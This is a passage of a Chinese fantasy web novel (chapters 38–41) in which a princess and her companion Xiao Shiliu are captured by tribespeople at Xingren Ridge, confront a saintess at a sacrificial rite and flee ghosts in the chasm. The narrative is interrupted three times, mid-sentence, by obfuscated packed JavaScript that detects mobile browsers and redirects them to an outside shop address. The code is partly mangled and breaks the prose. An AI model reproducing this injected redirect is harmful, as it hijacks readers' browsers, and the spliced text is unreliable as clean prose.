这么想着,周昭忽然冷静下来。她没有再拼命挣扎,而是老僧入定般任由自己被漩涡的水流推着向前。 “殿下!” 38. 野人 周昭醒过来时,发现自己还在水里,不过周围风平浪静,早已不似刚才湍急汹涌令人心悸。她吐出一口气,颇有劫后余生之感,头顶传来熟悉的声音—— “醒了?” 周昭抬起头,萧十六的脸距她不过须臾,眉头比方才皱得更紧了。 周昭忽然心安下来,惊喜道:“太好了十六!我们都还活着!” “我以为小殿下不怕死呢。”萧十六慢悠悠道,“不要命地就敢往漩涡里跳?” 周昭得意道:“可是,我赌赢了。” “什么意思?” 周昭道:“十六,你玩过拨浪鼓吗?小时候二哥送给我一只坠满了珍珠的拨浪鼓,有一天我玩着玩着,那上面的一颗珍珠被甩飞了出去。我看过了,漩涡的水流不是完全向下的,说明漩涡底下不是空的,只是因为河道地势不平才形成漩涡,只要我们顺着漩涡的方向往外游,一定会被漩涡甩出去,就像拨浪鼓上面的珍珠一样。” 萧十六沉默片刻,道:“小殿下,你很聪明。但太冒险。” 周昭道:“只要能逃出来,不算冒险。” 周昭就是靠这样游出漩涡的,但等她被漩涡甩出去已经力竭,周昭身体被冻得发僵,此刻才后知后觉地发现,眼下自己正被对方一只手臂带着在水中漂浮。 周昭不好意思道:“十六,你这样还能游吗?” 萧十六没好气道:“那我丢开?” “……”周昭想了想,老老实实闭嘴了。 “你的剑。” “什么?” “没带出来。” 周昭道:“哦,没关系。” 萧十六抿了抿唇,淡声道:“下次不要再这样了。” “嗯?” 萧十六道:“你的剑,防身,不要无缘无故丢给别人。” 刚才水势那样湍急,如果有剑,就能依托石壁慢慢越过漩涡,但周昭毫不犹豫就把剑给了萧十六。周昭听对方这么说,疑惑道:“怎么会无缘无故?又怎么是别人了?十六,你可真见外。” 萧十六没再说话,没过多久,眼前似乎明亮了些,水势越来越深,头顶石壁愈发低矮,萧十六道:“当心,我们要出去了。” 周昭应了一声,二人屏住呼吸潜入水中,水流逐渐湍急,周昭不由自主地被推着向前,一阵混乱过后,眼前一片白光闪过,一股冷气猛地窜入鼻腔。 砰! 水花四溅。 原来暗河出口是一道高悬的瀑布,爆裂的水声引起一阵短暂的耳鸣,周昭只觉脑子里嗡嗡作响,只看见十六的嘴巴一张一合,不知在说什么。一阵尖锐的疼痛在脑海里爆开,紧跟着,那声音尤为清晰地被放进来—— “还好吗?” 周昭木木地动了动脖子,点头道:“还好。” 他们在黑暗里待的太久,乍见天光,眼前的景致争先恐后涌进来—— 这是一个尤为巨大的山谷,四周山峰陡峭险峻,直入云霄,形状怪异各不相同。而在这独一无二的天险之间,平白多出一汪深谭,潭水幽深冷冽,碧绿不见底,像山怪成精长出一双眼睛。 景色太险,让人不敢直视,心中没来由地恐慌。 周昭喃喃道:“我们这是在哪?” 萧十六道:“先到岸边再说。” 这回十六没有在她前面,他一把抓住周昭的胳膊,一起往岸边游。周昭本不欲麻烦他,但伤口痛得厉害,索性任由十六拖着她游了。 萧十六侧过脸,皱眉道:“小殿下,你脸色不太好。” 周昭勉强笑道:“不碍事。” 岸边并不远,周昭左看右看,起了疑惑,心道:“怪事儿,荒漠有水已经很奇怪,怎么还会有如此巨大的山谷?也不知道长淮他们是否也来了这里?” 甫一靠岸,萧十六扶着她坐下,正欲开口说话,突然,一只网迎头而下,哄笑声登时在耳边炸开。 “什么东西?!”周昭喝道。 他们二人冷不防被网住,腥臭味扑面而来,周昭被拽了一个踉跄。透过网眼,不由心里一惊。 只见刚才还不见一个活物的山谷,突然间改头换面,在半山腰之间平白多出密密麻麻的人来。他们或草衣围身,或半裸,无不手拿铁叉木棒,尖叫欢呼。 本来十分幽静的山谷好似巨石入谭,激起千层巨浪,让人头皮发麻。 “我们遭埋伏了。”萧十六面色难看道。 网住他们的正是一只巨大的捕鱼网。三个野人正拖着鱼网将他们往山林里拉,一边拉一边发出叽里呱啦的怪叫声。 二人对视一眼,试着用手去撕那只网,奈何鱼网韧性极好,非得用利器才能破开。 啪! 一道虎虎生风的铁鞭迎头而下,萧十六肩上硬生生挨了这一下,竟然没哼一声,周昭叫道:“十六!” 那野人十分不满地说了些什么,举着手里的鞭子,意思是威胁他们不要再打鱼网的主意。 萧十六面色不虞,攥紧拳头,眼底流露出一丝猩红,又被他强压下去,开口道:“——无妨。” 不知被拖行了多久,眼前一黑,那三个野人将他们抬起来一扔,二人在鱼网里很不体面地滚了几圈,野人又叽里咕噜说了几句,拿着铁叉离开了。 等眼睛适应了这里的黑暗,周昭才看清这里原来也是个山洞,不过他们刚出来的山洞要小些。 周昭叹气道:“龙潭虎穴,算是都被我们遇上了,倒霉,真倒霉。” 萧十六默不作声,周昭只当他被打疼了,于是放软了语气,问道:“十六,你还疼吗?” “祭祀。” 周昭不明所以:“什么?” 对方淡漠道:“他们在说一场祭祀。” 周昭欣喜道:“十六,你能听懂他们说话?” “一点点。”萧十六没有解释为什么自己会听懂这里的语言,“他们还说,跟另外两个祭品一起。” 周昭喜出望外:“是长淮!一定是长淮他们!我们没找错。” 萧十六道:“如果我没猜错,这里就是行人岭。” “行人岭?荒漠下面的山洞竟然通向行人岭!”周昭一时不知该高兴,还是该说时运不济。他们一直要去的地方就是行人岭,兜兜转转终于到了这里,可如今又落入这番境地,连疟鬼的面儿都没见到,反而先成了祭品。 “既然长淮他们也在,反正都是祭品了,祭祀的时候一定能见到,我们不如保存体力,先好好睡一觉,你说呢十六?” 萧十六的眸光在黑暗里尤为闪烁,他摇了摇头,道:“小殿下,你一直这么乐观吗?” 周昭思索道:“也没有,我只是相信天无绝人之路。” 萧十六道:“这样很好,说明你从未遇到绝境,是件好事。” 周昭是身份尊贵的周朝公主,世上确实没有什么于她而言算是绝境。不算疟鬼,她长这么大头痛的只有两件事:一是师父要罚她;二是苍界山苦修,不能常吃到皇宫里那些美味的点心。 “十六,你遇到过的绝境是什么?” “每一天。”萧十六漫不经心道,“每一天于我而言,都是绝境。” “……”周昭一时无言。 她不是爱打探别人过往的人,但当下却为之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672652|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动。可话到嘴边又不想问了,她直觉十六不会告诉她,于是寻了个舒服的姿势向后靠了靠:“得失有衡,失去一样东西,就会得到另一样东西。这是师父告诉我的,他说上天是有眼睛的,不会让一个人一直苦下去。人无绝境,终有逆天之时。” “你师父?江梅棠信这些?” “信,我也信。” 萧十六偏过头,静静地看着她。 周昭浑身湿透,刚才又被一路拖行,衣裳破破烂烂地紧贴在身躯上,每寸曲线都隐隐约约地显露。洞中光线微弱,在她小巧的下巴上投下一小块阴影,下颌到锁骨的位置线条流畅,白得像玉,那玉石般的光泽一直延伸到层层叠叠的衣领中去。 周昭被他看得不大好意思,微微侧过脸。 都说下颌尖的女子脾性坚韧倔强,这话果然不错。 萧十六的喉结略微动了动,黏着的目光终于收回来,抬起手放在周昭肩上。 一股暖流瞬间传遍全身,周昭转过脸,惊讶道:“十六,你……” “举手之劳,不过你的腰伤只能缓解。” 等他收回手,周昭的衣服已经干了,身上也爽利许多。周昭心里一阵疑惑:“我都快忘了十六会法术,怎地我们在水里险些被淹死,又被野人抓来时,不见他使出来?” 她好奇问道:“十六,你的法力到底到了什么境界?” 萧十六听出她的弦外之音,摸了摸下巴,云山雾绕地解释道:“这个嘛,如果用法术,说不好会被发现。” 周昭道:“被什么发现?” 萧十六难得一笑,随口道:“恶鬼罗刹,怕不怕?” 他的话真真假假,这便是不想说明了,周昭没有追问,也跟着笑道:“好吧,那还是不用的好。但你刚才为我治伤,不打紧吗?” 萧十六又满不在乎道:“无所谓了。” 他们挤在同一张网中,虽然渔网不算小,也是肩膀挨着肩膀,腿贴着腿。周昭身上刚暖和些,十六的体温透过衣料传到她的皮肤上,好似一块寒冰,竟没有什么温度。似乎察觉到什么,十六调整姿势想离她远些,可网内的空间就这么大,不管他怎么调整,都避无可避地会跟周昭贴在一起,十六低低地骂了句该死。 周昭见状,心想十六应该是不愿跟别人挨这么近,于是道:“要是有把刀就好了。” 谁料这话不知怎地触到了十六的逆鳞,他的脸色变得十分难看,一言不发,闭上眼睛假寐了。 周昭一脸茫然,片刻后,小心翼翼地从头上摸了一只发簪,心想:“也不知十六的法术好不好使,以防万一,还是早做打算的好。” 洞内天地不知时辰几何,周昭昏昏睡去,这一觉睡得极好,好似浑身的骨头都睡软了。等她醒来时,周身疲倦一扫而空,又精神抖擞了。 除了脖子有点酸...... 脖子?周昭屏住呼吸,发现自己正以一个十分不雅的姿势,仰躺在一个人形肉垫上。 人形肉垫除了十六还能有谁? 这实在不能怪周昭。 无论是在皇宫还是苍界山,她都是一个人睡在诺大无比的床上,自然没人管她睡姿如何,睡觉要占多大地方的,所以很少人知道周昭其实睡姿奇差。 她心中暗暗叫苦,一时不敢妄动,直到听到头顶传来十六均匀的呼吸声才松了口气,心想:“还好十六没醒,不然真是丢死人了。” 周昭十分小心谨慎地从对方腿上爬起来,又做贼心虚地把他被自己压得乱七八糟的衣服整理好,她刚做完这一切,萧十六便醒了。 他看了眼洞外,声音慵懒道:“寅时了。” 39. 圣女 周昭顺着他的目光看去,狭小的洞口昏暗无比,只有微弱的亮光,跟他们被关进来时并无二致,不由疑惑道:“十六,你是怎么判断是寅时的?” 萧十六促狭地轻笑道:“你那位朋友不是说了吗?我无所不知。” 周昭感觉十六跟之前不太一样,具体哪里不一样,她也说不出个所以然,这人还是一身坚冰,但这块坚冰竟然偶尔也有笑的时候,于是很给面子地附和道:“确实。” “睡得好吗?” 周昭被这么突如其来地一问,忙应道:“——啊挺好,挺好……” 萧十六伸了个幅度不大、十分局促的懒腰,好整以暇道:“用不了多久,就会有人来了。” “十六,你知道他们的祭祀是什么样子吗?” “我也没见过,随机应变吧。” 话音刚落,果然进来了三五个人。 跟昨天不同的是,为首的一个竟然穿着衣服,虽然十分粗陋,看不出是什么面料,但确实是成衣。他的头顶戴着一顶鸟类羽毛做成的冠,五颜六色的,看上去身份与众不同。 这位“鸟兄”睁着那双小而浑的眼睛,将周昭二人前前后后打量一番,同样叽里呱啦说了几句就出去了。 周昭小声问道:“十六,他说什么?” 萧十六摇摇头:“说得太快,没听懂。” 剩下的几名野人听见他们窃窃私语,将铁鞭在石壁上重重击打几下,以示警告。 若是平时,区区几个野人绝不是周昭的对手,但她此行既要找人,还要找疟鬼,就算打翻这几个也无济于事,于是暂且按捺住,任由对方将绳索捆住双手。 等将他们捆好了,野人们解开渔网,拿出一根一人高的木棒,将他们像拴蚂蚱似的捆在上面,又用二指宽、草叶编成的带子覆住双眼,喉间发出一声怪异的叫声,推着他们向前走了。 周昭心道:“这应当就是送他们去祭祀现场,但愿长淮他们一切无事才好。” 脚下是绵软的泥土,踩上去很湿润,甚至有点黏。周昭方向感不算好,只觉得他们被带着东走西绕,很快她便记不清山洞是哪个方向。 雾气萦绕,空气十分寒凉,中间有一段是上坡,没有台阶,因此走得十分吃力。按理说草叶编成的带子虽然厚重,但不如布料绸缎严丝合缝,如果按十六所说,他们被带出来是寅时,走了这么许久的路应当是日出才对,但眼前始终漆黑一片,没有一丝亮光透进来。 “——依啦!” 野人停下脚步,大喊一声,随即更多的声音呼应道:“依啦!” 声势浩大,人声鼎沸。 周昭心道:“不太妙......” 眼前的草叶带子被摘下来,周昭不由心中一震。 奇山怪石,直破云层。 这些高山峻岭上,几乎没有生长任何草木,更像是一座座形状怪异嶙峋的石头山。更让人惊叹的是,山与山之间架着数道铁索,铁索间铺着整齐厚重的木板,他们此刻正站在其中一条铁索上,仿佛立于云层之上,脚下即是万丈深渊。 而在每座山之间的铁索上,都站满了人,男女老幼皆有,无不欢欣鼓舞。 “这就是……行人岭?”周昭忍不住道。 “不错。” 随着众人目光看去,那最大的一座石山中间是被挖空的。与其说是山,不如说是一座凌空而建的神殿。 神殿威仪,金碧辉煌,却在此情此景之下无端显出几分诡异来。 他们脚下的铁索正通向那座神殿,带他们前来的野人推了周昭一把,叫道:“莫!” 周昭猜测这是让他们往前走的意思,她和十六仍被绑在那根木头上,行走并不方便,萧十六此前一直没有出声,这会儿方问道:“小殿下,你有什么打算?” 说实话,周昭也不知道能有什么打算。 萧十六又道:“若是想走,我现在就能带你走。” “不。”周昭摇摇头,“我还没有找到长淮。” 他们越走越近,依稀能看见那神殿之下好像悬着什么东西,等靠得更近些,才辨认出神殿周围竖立着三道长梯,宛若天梯般从神殿延伸下去,一直没入深不见底、云层翻滚的深渊底下去了。 天梯是悬空的,距离崖口尚余一丈,崖口护栏有铁索样式的装置,周昭猜测如果转动滑轮,铁索就会将天梯拉向崖口,只是不知作何用处…… 她忍不住低头往下看,岂料深渊下蓦地出现一双血红的眼睛! “……!”四目相对,周昭骇出一声冷汗,往后跌去,引来那野人狠狠一鞭,擦过她右臂敲在铁索上,喝道:“历那!” 萧十六站定,眉头蹙起,回过头道:“小殿下,你还好吗?” 周昭惊魂未定,低声道:“我看见......那深渊底下有人!” 萧十六道:“不,那不是人。” “你说什么?” 萧十六淡淡道:“是疟鬼。你脚下也并非云层,而是瘴气。” 疟鬼?! 说不害怕是假的,难怪这里的人都要住在群山之间的铁索上,山脚瘴气丛生,凡人绝无可能生存的。 但很快,周昭的注意力就被另一件事儿吸引住了。 只见天梯两侧,高悬着两个木头做的十字架,上面绑着的正是谢景和宁啻! 周昭险些叫出声来,谢景显然也看见了她。 说来不巧,那时沙漠中他和宁啻一脚踩空掉下来,睁眼已经到了此地,被一群哇哇乱叫的野人追了小半日不说,他堂堂黎国皇子竟然就这么被绑了! 谢景从未受过如此奇耻大辱,本来看见周昭安全无恙心下一喜,转眼又模糊看到他们二人皆是被捆住,刚燃起的那丁点儿希望又死了半截儿,面如死灰实在不大好看。不过相隔甚远,周昭是看不到他的表情的,她悄声道:“十六!你看见了吗?” 萧十六懒洋洋地应了一声,看来对救谢景这件事,确实丝毫不感兴趣的。 周昭急切道:“十六,帮帮我。” 萧十六歪着脑袋问道:“你很在乎他们?为什么?” 周昭被他这句为什么问得摸不着头脑,难道十六看不出长淮他们都是自己的朋友吗? 朋友有难,相救难道不是理所应当的事情吗? 周昭忽然想起十六那句“我独来独往惯了”的话,满腔急切都像一拳打在棉花上毫无回应,琢磨半晌,换了种估摸着十六能够理解的方式,低声道:“如果是你被绑,我也会救你的呀。” 萧十六微微眯起那双瞳色浅淡的凤眼,似乎有些不解和茫然,但很快又转变为深刻的反感,这情绪转瞬即逝,掩藏得极好,周昭并无察觉,低声道:“嘘,神殿到了。” 神殿外是一张圆形祭台,祭台上侧躺着一个衣着华丽的少女,她转过身,露出一双冷艳的眼睛。 少女不过十五六岁,却有一双不符合年纪、摄人心魄的碧绿色眼睛。她穿着一身血红色的衣裙,更衬得肌肤如雪,长发未束,一直垂到裸露的足踝,逶迤在这方祭台上。 她先是看了周昭一眼,随即目光落在萧十六身上,眸光流露出几分疑惑,抬起手腕,随侍两侧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678322|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人立刻低头上前,用一方洁白的帕子托住她那只软若无骨的手。 那位立在少女身旁服侍的,就是刚才来山洞里带他们走的头领“鸟兄”,周昭心想:“看来这女子的地位很高,也许是大祭司之类。” 周昭猜得不错,眼前正是此地的圣女,也唯有她能在神殿畅通无阻。圣女侧过脸对鸟兄说了几句什么,他们两个便被押到旁边去了。 砰! 砰砰! 一阵震天响的鼓声自石山对侧传来。 只见数十个男人正高悬在半空中,赤脚踩踏在一只圆形木上,随着众人呼喊声此起彼伏,那跟木头被他们高高荡起,随即沉重地击打在石山上覆着的一面巨大鼓皮上,发出像刚才那样山野为之震动的鼓声。 周昭看到,依托石山而建的是数百间木头做的阁楼,而越来越多的人从石山上下来,?每条铁索都人满为患。 在这气势磅礴的鼓点声中,少女忽而赤足起舞,长发随风而动,那双眼睛依旧冷艳无波澜。 随着她开始舞动身躯,所有人都朝着神殿俯身跪拜,一时间人群寂静无声。山间云雾缭绕,铁索横生,鼓声和少女的舞姿相得益彰,周昭也不由被震撼,半晌,才问道:“十六,这就是他们的祭祀吗?” 萧十六点点头。 周昭往谢景的方向望去,心中觉得奇怪:“这里不是疟鬼遍地的行人岭吗?为什么会有这么多活人……” 紧跟着,周昭又想到了另一个致命的问题:“既然是祭祀,那祭品——” “不巧,祭品就是我们四个。”萧十六的唇角勾了个很讥诮的弧度。 周昭睁大眼睛,难以置信道:“你是说,祭品是要献给疟鬼的?长淮也是?” 萧十六道:“也可以这么说。” 周昭道:“那得快些了。” 她张开手掌,里面俨然是一根磨得锋利的短钗。这本来是她在山洞里睡觉前打磨的,用来割开鱼网,后来没有用上,周昭便一直把它藏在手心里。 “瞧。”周昭眉眼弯弯,得意道,“十六,你掩护我。” 好在那根绑住两人的木头已经被取下来了,加之现在所有人的注意力都在圣女身上,根本没有人关注他们。 周昭将那短钗握在手里,三两下就割断了绳索,正准备给十六松绑,发现对方早已神不知鬼不觉地解开了。 周昭心道:“这法术果然好用,等回了苍界山,一定要让师父教我。” 二人对视间,不由心领神会。 周昭心中说了句罪过罪过,飞身而上,直奔祭台! 她的动作实在快如闪电,不过眨眼间,正在起舞的圣女就被她擒住。 “呀!!!” 鸟兄发出一声尖锐的叫声,所有跪拜的人无不抬起头,面容惊恐暴怒,摩拳擦掌就要冲上来。 那边萧十六也轻而易举地制服了周围几个野人,周昭向后退开,短钗抵在圣女脖颈,沉声道:“这位姐姐,我不想伤害你,还请你放了我的两位朋友!” 她一着急,忘记了语言不通是件大麻烦事儿,只好喊道:“十六!你会不会说他们的语言?” “你想让我放人?” 怀中一个轻飘飘的声音传来。 周昭一愣,一只冰凉的手摸上她握住短钗的手,就好像一条蛇摇着蛇尾缠上来。 那一瞬间,周昭情不自禁起了一身鸡皮疙瘩,而那只手则毫不犹豫地对准自己胸口刺下去。 周昭骇住,右手力道用力往回一收,电光火石间,对方反手拧住她手腕,将短钗往前送去! 40. 打架 这一下伤不了周昭,但足够少女脱身。 对方灵巧地跳开几步,复开口说道:“真有趣。” 她假意自戕,打了周昭一个措手不及,又反过来想置周昭于死地。但这一招赌注实在是大,若换做别人没有及时收手,难保不会血溅当场。也不知少女是算准了周昭不是真要杀她,还是一点儿也不在乎,对自己下手时又狠又准,脱险时也依旧波澜无惊,一派老成模样。 周昭惊讶道:“你会说中原话?” 圣女脱身,左右再无顾忌。四面八方的铁索发出震天响动,几乎山谷里所有的人都朝这里涌来。 少女向后退去,看向手中那只短钗,歪了歪头,轻声道:“脏了。” 方才周昭收手时力道太大,短钗划破了她的掌心,此时那只钗染上几滴鲜血,被少女轻轻拭去,随即懵懵懂懂地摸索着,将钗插在随手绾成的头发上。 “好看吗?”她问周昭。 周昭被众人围攻,却恰巧听见了这么一句,她触碰到少女的目光,竟不由自主地停下动作,点头附和道:“……好看、真好看。” 少女朝她伸出手,周昭的目光仿佛被吸进那双眼睛里,她什么也听不见了,眼前唯有那只染血的短钗。 周昭缓步向前,喃喃细语道:“真好看……” “小殿下!凝神!”萧十六一边破敌,一边将周昭往身后一推,周昭登时耳清目明,面容染上一片绯红,心道:“我竟受了蛊惑,看来那双眼睛实在厉害,不能多看。” 圣女看向萧十六,沉思片刻,突然眉眼带笑道:“哦,真有趣。” 她这话说得奇怪,周昭实在不懂有什么趣。少女抬起右臂,不知说了句什么,向神殿方向涌来的人突然停下了脚步,就连围攻他们的人片刻后也都放下了武器。 正纳闷间,只见少女指了指萧十六,道:“我和你,单打。” 萧十六不耐烦地啧了一声,少女又指着他道:“我要和你打。” 她说的不是“想”,而是“要”,这种命令的语气让人听了不大舒服,但放在少女身上,又会让人觉得她天真烂漫,不忍责怪了。 周昭小声道:“十六,你真要和她打吗?” 萧十六道:“我赢了,你放我们走。” 少女爽快地拍拍手,她正要动手先发制人,突然又停下,赤着脚走到周昭面前。 周昭实在是怕了她那双眼睛,左右躲闪间,看见少女白嫩的掌心在她面前摊开,道:“帮我绾头发。” 她应当是不大会绾发的,那只短钗已经掉了,发丝也垂在脸侧随风而动。周昭哭笑不得,想了想还是拿起她手心的短钗,又从自己头上摸了根长簪:“这个太短,用我这个,好吗?” 少女眼前一亮,点点头,然后转身背对周昭,道:“我要像你那样漂亮的样子。” 萧十六愈发不耐,脸色阴沉道:“你到底打是不打?” 少女看上去毫无防备之心,她比周昭矮些,因此周昭正好能站在一个合适的角度,她并不熟练地替少女勉强绾了个发式,用簪子固定住:“好了。” 少女伸手摸了摸,似乎很满意,也没有对周昭道谢,径直走开了。 周昭心道:“这位姑娘倒有几分孩童心性,如此年轻就当上了一族圣女,想必武艺高强,不容小觑。” 她有些担心地看向萧十六,只见对方神态自若胸有成竹,于是放心大半,静待观战。 “来。”少女傲慢道。 二人很有默契地一齐动手,萧十六惯不用兵器,那少女亦是赤手空拳。只见一红一白两个身影交错,神殿之下众人屏气凝神,皆不敢高声语。 少女身姿灵巧,却招招不留余地。但几个回合过后,周昭便断定她功力在十六之下,不出三招必败。 果不其然,一招过后,少女便被逼得连连后退。眼看败局已定,一条银色长鞭凭空出现在她手中。 ——啪! “十六!”周昭惊呼道。 这一鞭虎虎生风,凌厉非常,且又出其不备,萧十六欲擒住她的手只好收回,但那长鞭挟风带刺,堪堪擦着他的鬓边飞过,一个闪身,丝丝鲜血顺着他的面颊流下。 周昭怒道:“你耍赖!” 其余众人欢呼道:“依啦!依啦!” 少女咯咯笑道:“如何?” 萧十六抬起右手,将血丝抹干净,点头道:“嗯,不错。” 周昭:“?” 他难道是在点评吗? 少女道:“再来!” 说罢,又是一鞭飞出! 只见少女身形跃动,银鞭纵横翻飞,让人眼花缭乱。长鞭所到之处,尘土飞扬,遇石则劈,遇木则断! 眼见来势汹汹,周昭心急如焚,却不敢贸然出声,心道:“这样打下去怕是不妙……” “就学了这点儿本事?”萧十六左右避之,在这漫天鞭花中似是游刃有余,不忘出言嘲讽。 少女似乎被这话激怒了,柳眉倒竖,扬鞭而起,叫道:“看你如何接住!” 周昭一颗心提到嗓子眼儿,却见萧十六身形未动,不躲不避,忍不住道:“当心!” 眼看长鞭已经直逼面门,萧十六眸光微变,右手突然反手一抓,竟生生将鞭截住,随即猛地一拽,下一刻少女的脖颈已经被他掐住,轻笑道:“又如何?” 银鞭上布满倒刺,他这一抓手上皮肉都被剐了下来,可见下了十足的狠心。 周昭蹙眉不忍,众人亦不敢置信。 少女脸色涨得通红,倔强地别开脸。 萧十六却不肯放过她,大掌用力收紧,另一只鲜血淋漓的手则掐住她的脸颊,强迫她面向神殿,逼问道:“放不放人?” 萧十六松开些力道,少女先是猛烈地咳了一阵,继而说道:“不放。” 萧十六毫不意外地轻笑一声:“我也知你不会放,不如掐死好了。” 他语气轻松平常,不知是玩笑还是认真,周昭却呼吸一滞,少时情形在脑海里呼之欲出,心想:“这女子虽绑了长淮,却不至于死。” 与此同时,一道灵光自少女右手飞出,她叫道:“天地归宗,祭鬼拜神,放!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689752|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两道十字架上的绳索应声而落,谢景大叫道—— “阿昭!救我!!” 长淮! 这一切发生得太过突然,周昭只觉一股血热辣辣地冲上头脸,脚踏祭台一跃而起,等她反应过来已飞身至崖口。 周昭余光只见有两道人影冲来,但她动作极快,翻进崖口护栏将铁索全部放开,刹那间,只听轰隆一声巨响,其中一根天梯正缓缓靠岸。 “你疯了!” “小殿下!” …… 无数声音接踵而至,神殿前顿时陷入一片混乱。周昭瞅准时机,抓住一根铁索荡向天梯,脚下便是深渊! 云层翻滚,她根本看不清谢景在哪儿,便使出浑身力气喊道:“长淮!宁兄!” 周昭刚沿着天梯向下踏了几个台阶,便听见云层之下嘶吼阵阵,紧跟着她所在的天梯开始剧烈晃动。 什么东西?! 周昭转念一想,深渊下还能有什么东西! 她突然意识到自己可能犯了一个巨大的错误,而后,在她头顶一个声音道:“小殿下,手给我!” 周昭低头看了眼深渊,倔强道:“不,我要去救长淮!” 她果断地又向下走了几步,天梯却在此时开始向谷内倾斜,周昭抬起目光,崖口边少女的脸满是怨气,她恨恨道:“你这女娃不知轻重,竟敢私放天梯!” 她一边说着一边做法将铁索断开,若铁索一断,天梯必倒!萧十六催促的声音传来:“上来!” 若她此刻走了,长淮他们怎么办? 周昭一咬牙,将那根铁索在右臂缠了几缠,萧十六看出她要做什么,那双惯常无波澜的眸光里闪过一丝惊讶,更多的则是不解。 少女站在崖边,红衣翻滚,抬了抬下巴道:“哼!不如你们一起下去!” 砰! 说罢,她抬手一挥,铁索彻底断开,另一端簌簌地向深渊滑去。 周昭当机立断,拉住那根铁索,踩着那根渐渐倒入谷底的天梯疾步飞驰,好似林间飞鸟,让人看了忍不住叹一句好俊的轻功! 等那根铁索彻底掉进深渊,周昭手上一松,心里忍不住尖叫道:“父皇母后哥哥们保佑!” 她双目闭紧,耳畔是摧枯拉朽般的轰隆巨响,等待中的疼痛却并没有到来,短暂的耳鸣过后,周昭一睁眼,发现自己还好端端地站在天梯上。 ——我还活着? 周昭向上一看,不看还好,这一看险些三魂丢了七魄。 只见一双血红色的眼睛正好奇地盯着她,而那双眼睛的主人身高九尺有余,一只手扶着只剩小半截儿的天梯,另一只手正欲向周昭伸过来! 周昭只觉头皮发麻,她跳下天梯撒腿就跑。没跑几步就迎面而来一个巨大无比的血池,里面气泡翻滚,除此之外还有两个十分不和谐的血人。 其中一个血人摇摇晃晃站起来,抬手一抹,露出一张满是愤恨惊喜各半的脸,一张嘴,露出一口白牙。 “阿昭!” 周昭喜道:“长淮你还活着!太好了,快跑!” 41. 逃跑 周昭路过血池,一把将里面另一个血人拽起来丢给谢景:“交给你了!” 谢景:“?” 谢景背着早已昏过去的宁啻在谷底狂奔,他并不知道为什么要跑,只知道周昭让他跑他就跑了。 等跑了一段儿,才反应过来,问道:“阿昭,我们跑什么?” 周昭道:“你要不要看看后面有什么?” 谢景回过头张望,愈发摸不着头脑,道:“后面有什么?什么也没有啊……” “什么也......”周昭闻言脚下一滑,她转身,身后竟真的空无一人。 周昭只觉毛骨悚然,明明刚才还有那么大一只疟鬼想抓她,现在竟然不见了! 谢景被绑在半空吊了一夜,又背着宁啻狂奔了这么久,早累得气喘吁吁,干脆将人往地上一放,双手一摊大咧咧坐下,道:“歇歇!歇歇,累死本殿下了。” 周昭也有些累了,却不敢歇,问道:“长淮,你可知这是什么地方?” 谢景抹了把脸上的汗珠子,却见满手血污,有点嫌弃地蹙眉,答道:“还能是什么地方?野人窝呗!我也是倒霉!鬼知道他们那个池子泡了多少死人,臭死了!” “要是没那个池子,你们估计已经摔成肉饼了。”周昭道,“这是行人岭。” “哦,叫行人岭。”谢景弹起来道,“什么?!行人岭!” 周昭心想,看来并没有人跟谢景他们说过这是哪儿,轻声揶揄道:“是啊,我的谢景殿下,这儿就是行人岭,你们刚才掉下来难道没看见疟鬼吗?” “……没有。” “罢了,总之这儿就是行人岭。”周昭抬手一指,“上头那位姑娘是要把你们——” 坏了!周昭言语一顿,光顾着逃命,忘记十六还在上面。她抬头张望,但瘴气重重,什么也看不见。 “怎么了阿昭。” 周昭皱眉道:“……十六还在上面,刚才我们打斗时,那姑娘斩断铁索弄毁了天梯,不知道他现在怎么样了。” 谢景道:“放心好了,那位朋友那么厉害,说不定现在已经走了。” 周昭心中祈祷最好是这样,又隐隐觉得十六不会抛下他们不管,思来想去间,一个沉重的脚步声自他们身后传来。 不,不是一个脚步声,而是数十个脚步声! “什么声音?”谢景向后望去,不由骇了一跳,只见一排身材无比高大的怪东西低垂着脑袋正向他们涌过来,他不由咽了咽口水,“阿昭,那个……那个不会就是疟鬼吧?” 疟鬼追上来了! 他们披头散发,身上无一例外都长满了密密麻麻的红虫子,还在不停地往外蠕动。 周昭不禁一阵恶寒,道:“先离开这里再说!” 周昭就知道这东西不会轻易放过他们,谢景此刻头脑清醒大半,当即一把抓起半死不活的宁啻甩到自己背上,周昭道:“你们走前面!” 他背着一个人必定走得慢些,如果被疟鬼追上可不是闹着玩儿的,周昭这是要断后的意思,谢景只恨自己当初偏偏信了他这表哥,面色凝重地看了她一眼,当下也没有更好的法子,只道:“好,拿着我的剑。” 